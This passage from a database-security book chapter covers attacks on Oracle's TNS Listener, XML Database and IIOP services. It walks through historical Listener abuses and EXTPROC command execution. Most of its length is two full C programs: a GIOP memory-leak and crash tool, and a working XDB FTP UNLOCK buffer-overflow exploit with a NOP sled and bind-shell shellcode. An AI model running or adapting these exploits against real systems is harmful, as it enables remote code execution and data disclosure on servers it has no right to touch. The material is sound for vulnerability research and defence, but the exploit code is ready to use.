As you learned earlier, the TNS Listener is the hub of all Oracle communications. Most of the attacks against the TNS Listener are well known and have been widely covered elsewhere, such as the Database Hacker's Handbook. Rather than cover the same ground, this chapter examines what's new stuff and only briefly reviews the rest. We'll also take a look at two dispatchers - namely, the XML Database and the Aurora GIOP Server.
The TNS Listener before 10g could be remotely administered out of the box without having to supply a password. Because the location of log files and trace files could be specified, it was possible for an attacker to set the log file to, for example, a batch file in the administrators startup folder on Windows, or the .rhosts file in the Oracle user's home directory on *nix. Once it was set, the attacker could then send a command to run or "+ +" in the case on *nix and have those commands execute or be able to use the r* services to run commands as the Oracle user. As well as being able to set a password to administer the Listener, Oracle added another option to the Listener - namely, ADMIN_RESTRICTIONS. When enabled, certain commands, such as changing the location of the log files, could only be executed locally. This is discussed fully at www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html.
In addition to this, the TNS Listener has suffered from a number of buffer overflow vulnerabilities in the past. For example, in June 2002, Oracle fixed an overflow in 9i where an overly long service_name parameter would trigger the issue.
(DESCRIPTION=(ADDRESS= (PROTOCOL=TCP)(HOST=192.168.0.65) (PORT=1521))(CONNECT_DATA= (SERVICE_NAME=shellcode_goes_here) (CID= (PROGRAM=SQLPLUS.EXE) (HOST=foo)(USER=bar))))
The error occurs because the user-supplied service_name is copied to a stack-based buffer when writing an error to the log file. An attacker could exploit this to gain control over the process' path of execution.
Another attack that can be levied against the TNS Listener without a user ID and password tricks the server into loading an arbitrary library and executing an arbitrary function. For Oracle 8.1.7.4 this still remains unpatched, and Oracle has refused to fix it despite the critical security implications. The attack method involves connecting to the Listener and requesting access to EXTPROC - the program used for running external procedures for PLSQL. Because there is no authentication and because EXTPROC can be reached over TCP, it's possible to load, for example, msvcrt.dll or libc, and execute the system() function and arbitrary operating system commands. For Oracle 9 and later, Oracle produced a patch but the patch suffered from a buffer overflow vulnerability. The patch added code to catch attempts by attackers to load libraries remotely and then log this, but the logging code used sprintf(). By supplying an overly long library name, a stack-based buffer could be overflowed, allowing the attacker to gain control. The second patch was not much better. By embedding environment variables in the library name it was possible to pass the length check. After this the environment variables are expanded, thus pushing out the length of the user-supplied string - and, again, you can overflow the buffer. Oracle has a history of poor patching stories like this.
Oracle's release of 10g put an end to remote administration of the TNS Listener by restricting admin requests to the local host. Or so it seems at first sight. It is possible to bypass these restrictions in certain cases. The first way is by first connecting to the database and then using UTL_TCP to connect to the Listener. Because the request is coming from the same system (in other words, locally), the Listener can be administered. There is an additional hurdle to overcome, however. When you connect to 127.0.0.1, the Listener redirects you to a named pipe, which you then connect to and send commands down. A much easier way in early versions of 10g running ISQL*Plus was to set the command in the connect string of the logon screen. This has since been fixed in later versions.
By default, Oracle 9.0.1 and Oracle 8.1.7.4 both install an IIOP (Internet Inter-Orb Protocol) server to enable access to CORBA applications. IIOP is an implementation of GIOP - the General Inter-Orb Protocol. A vulnerability in this server can allow attackers to either dump arbitrary memory from the server over the network or crash the server. This flaw has been reported to Oracle and a patch will be forthcoming. GIOP packets have a size element to their header that indicates how much data the client is sending. The server uses this size parameter to build its response. If the client sends a size larger than the data they're actually sending, then the server will just happily read what data is in the memory up to the size specified by the attacker. This way an attacker can begin to poke about the contents of the memory of the TNS Listener. If the size is large enough, the Listener eventually attempts to read uninitialized memory and access violates - thus denying service. The following code demonstrates this:
#include #include #include int SendGIOPPacket(void); int StartWinsock(void); int packet_length(char *); int PrintResponse(unsigned char *p, int 1); int bswap_i(unsigned int); struct sockaddr_in s_sa; struct hostent *he; unsigned int addr; int IIOPPort=2481; char host[260]=""; int PKT_LEN = 148; unsigned char GIOPPacketHeader[2000]= "x47x49x4fx50" // MAGIC "x01x00" // VERSION "x00" // BYTE ORDER "x00" // MSG_TYPE "x00x00x00x82" // MSG_SIZE "x00x00x00x00" "x00x00x00x00" "x01x00x00x00" "x00x00xFFxFF"; // SIZE unsigned char GIOPPacketTail[]= "x00" "x49x4ex49x54" "x00x00x00x00" "x00x04" "x67x65x74x00" "x00x00x00x00x00x00" "x00x0c" "x4ex61x6dx65x53x65x72x76x69x63x65x00"; int main(int argc, char *argv[]) { unsigned int ErrorLevel=0, bytes = 0; unsigned short len=0; int count = 0; unsigned char sid[100]=""; unsigned char buffer[512]=""; if(argc !=4) return printf("%s HOST SID BYTES ",argv[0]); strncpy(host,argv[1],256); strncpy(sid,argv[2],96); bytes = atoi(argv[3]); _snprintf(buffer,508,"ORCL(CONNECT_DATA=(REP_ID=IDL:CORBA/InitialReferen ces:1.0)(SID=%s)(SESSION_ID=0))",sid); len = (unsigned short)strlen(sid)+0x82; PKT_LEN = len + 0xC; bytes = bswap_i(bytes); memmove(&GIOPPacketHeader[24],&bytes,4); memmove(&GIOPPacketHeader[28],buffer,strlen(buffer)); memmove(&GIOPPacketHeader[28+strlen(buffer)],GIOPPacketTail,35); GIOPPacketHeader[11]=(unsigned char)len; len = len << 8; GIOPPacketHeader[10]=(unsigned char)len; if(StartWinsock()==0) { printf("Error starting Winsock. "); return 0; } SendGIOPPacket(); return 0; } int bswap_i(unsigned int v) { __asm { xor eax, eax mov eax,v bswap eax mov v, eax } return v; } int StartWinsock() { int err=0; WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup(wVersionRequested, &wsaData ); if ( err != 0 ) return 0; if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE(wsaData.wVersion ) != 0 ) { WSACleanup( ); return 0; } if (isalpha(host[0])) he = gethostbyname(host); else { addr = inet_addr(host); he = gethostbyaddr((char *)&addr,4,AF_INET); } if (he == NULL) return 0; s_sa.sin_addr.s_addr=INADDR_ANY; s_sa.sin_family=AF_INET; memcpy(&s_sa.sin_addr,he->h_addr,he->h_length); return 1; } int SendGIOPPacket(void) { SOCKET c_sock; unsigned char resp[10000]=""; int snd=0,rcv=0,count=0, var=0; unsigned int ttlbytes=0; unsigned int to=2000; struct sockaddr_in srv_addr,cli_addr; SOCKET cli_sock; unsigned int size = 0; char *buf = NULL; cli_sock=socket(AF_INET,SOCK_STREAM,0); if (cli_sock==INVALID_SOCKET) return printf("sock error"); s_sa.sin_port=htons((unsigned short)IIOPPort); if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) { printf("Connect error %d",GetLastError()); return closesocket(cli_sock); } buf = malloc(264); if(!buf) { printf("malloc failed. "); return 0; } memset(buf,0,264); snd=send(cli_sock, GIOPPacketHeader , PKT_LEN , 0); while(rcv !=SOCKET_ERROR) { rcv = recv(cli_sock,resp,260,0); if(rcv == 0||rcv ==SOCKET_ERROR) break; memmove(&buf[size],resp,rcv); size = size + rcv; buf = realloc(buf,size+260); if(!buf) { printf("realloc failed. "); closesocket(cli_sock); return 0; } } PrintResponse(buf,size); closesocket(cli_sock); return 0; } int PrintResponse(unsigned char *ptr,int size) { int count = 0; int chk = 0; int sp = 0; printf("%.4X ",count); while(count < size) { if(count % 16 == 0 && count > 0) { printf(" "); chk = count; count = count - 16; while(count < chk) { if(ptr[count]<0x20) printf("."); else printf("%c",ptr[count]); count ++; } printf(" %.4X ",count); } printf("%.2X ",ptr[count]); count ++; } count = count - chk; count = 17 - count; while(sp < count) { printf(" "); sp++; } count = chk; while(count < size) { if(ptr[count]<0x20) printf("."); else printf("%c",ptr[count]); count ++; } printf(" "); return 0; }
The XML database, otherwise known as XDB, offers two services - one over HTTP on TCP port 8080 and an FTP-based service on TCP port 2100. In the past XDB has suffered from numerous buffer overflow vulnerabilities, including an overflow in the authentication mechanism with an overly long username or password. The following code exploits the UNLOCK overflow on XDB 9.2.0.1 that is running on Linux:
#include #include #include #include #include #include int main(int argc, char *argv[]) { struct hostent *he; struct sockaddr_in sa; int sock; unsigned int addr = 0; char recvbuffer[512]=""; char user[260]="user "; char passwd[260]="pass "; int rcv=0; int snd =0; int count = 0; unsigned char nop_sled[1804]=""; unsigned char saved_return_address[]="x41xc8xffxbf"; unsigned char exploit[2100]=" unlock / AAAABBB" "BCCCCDDDDEEEEFFF" "FGGGGHHHHIIIIJJJ" "JKKKKLLLLMMMMNNN" "NOOOOPPPPQQQQRRR" "RSSSSTTTTUUUUVVV" "VWWWWXXXXYYYYZZZ" "Zaaaabbbbccccdd"; unsigned char code[]="x31xdbx53x43x53x43x53x4bx6ax66x58x54x59xcd" "x80x50x4bx53x53x53x66x68x41x41x43x43x66x53" "x54x59x6ax10x51x50x54x59x6ax66x58xcdx80x58" "x6ax05x50x54x59x6ax66x58x43x43xcdx80x58x83" "xecx10x54x5ax54x52x50x54x59x6ax66x58x43xcd" "x80x50x31xc9x5bx6ax3fx58xcdx80x41x6ax3fx58" "xcdx80x41x6ax3fx58xcdx80x6ax0bx58x99x52x68" "x6ex2fx73x68x68x2fx2fx62x69x54x5bx52x53x54" "x59xcdx80 "; if(argc !=4) { printf(" Oracle XDB FTP Service UNLOCK Buffer Overflow Exploit"); printf(" for Blackhat (http://www.blackhat.com)"); printf(" Spawns a shell listening on TCP Port 16705"); printf(" Usage: %s host userid password",argv[0]); printf(" David Litchfield (david@ngssoftware.com)"); printf(" 7th July 2003 "); return 0; } while(count < 1800) nop_sled[count++]=0x90; // Build the exploit strcat(exploit,saved_return_address); strcat(exploit,nop_sled); strcat(exploit,code); // Process arguments strncat(user,argv[2],240); strncat(passwd,argv[3],240); strcat(user," "); strcat(passwd," "); // Setup socket stuff sa.sin_addr.s_addr=INADDR_ANY; sa.sin_family = AF_INET; sa.sin_port = htons((unsigned short) 2100); // Resolve the target system if(isalpha(argv[1][0])==0) { addr = inet_addr(argv[1]); memcpy(&sa.sin_addr,&addr,4); } else { he = gethostbyname(argv[1]); if(he == NULL) return printf("Couldn't resolve host %s ",argv[1]); memcpy(&sa.sin_addr,he->h_addr,he->h_length); } sock = socket(AF_INET,SOCK_STREAM,0); if(sock < 0) return printf("socket() failed. "); if(connect(sock,(struct sockaddr *) &sa,sizeof(sa)) < 0) { close(sock); return printf("connect() failed. "); } printf(" Connected to %s.... ",argv[1]); // Receive and print banner rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) { printf("%s ",recvbuffer); bzero(recvbuffer,rcv+1); } else { close(sock); return printf("Problem with recv() "); } // send user command snd = send(sock,user,strlen(user),0); if(snd != strlen(user)) { close(sock); return printf("Problem with send().... "); } else { printf("%s",user); } // Receive response. Response code should be 331 rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) { if(recvbuffer[0]==0x33 && recvbuffer[1]==0x33 && recvbuffer[2]==0x31) { printf("%s ",recvbuffer); bzero(recvbuffer,rcv+1); } else { close(sock); return printf("FTP response code was not 331. "); } } else { close(sock); return printf("Problem with recv() "); } // Send pass command snd = send(sock,passwd,strlen(passwd),0); if(snd != strlen(user)) { close(sock); return printf("Problem with send().... "); } else printf("%s",passwd); // Receive reponse. If not 230 login has failed. rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) { if(recvbuffer[0]==0x32 && recvbuffer[1]==0x33 && recvbuffer[2]==0x30) { printf("%s ",recvbuffer); bzero(recvbuffer,rcv+1); } else { close(sock); return printf("FTP response code was not 230. Login failed... "); } } else { close(sock); return printf("Problem with recv() "); } // Send the UNLOCK command with exploit snd = send(sock,exploit,strlen(exploit),0); if(snd != strlen(exploit)) { close(sock); return printf("Problem with send().... "); } // Should receive a 550 error response. rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) printf("%s ",recvbuffer); printf(" Exploit code sent.... Now telnet to %s 16705 ",argv[1]); close(sock); return 0; }
In the past the TNS Listener has suffered from a great deal of issues, but since 10g the security record of the Listener has been, thankfully, much better. Due to the fact that the Listener is the first "port of call," a great deal of time has been spent on it by researchers, which has helped, although as can be seen by the issues we covered in this chapter, it's still not unbreakable.
Introduction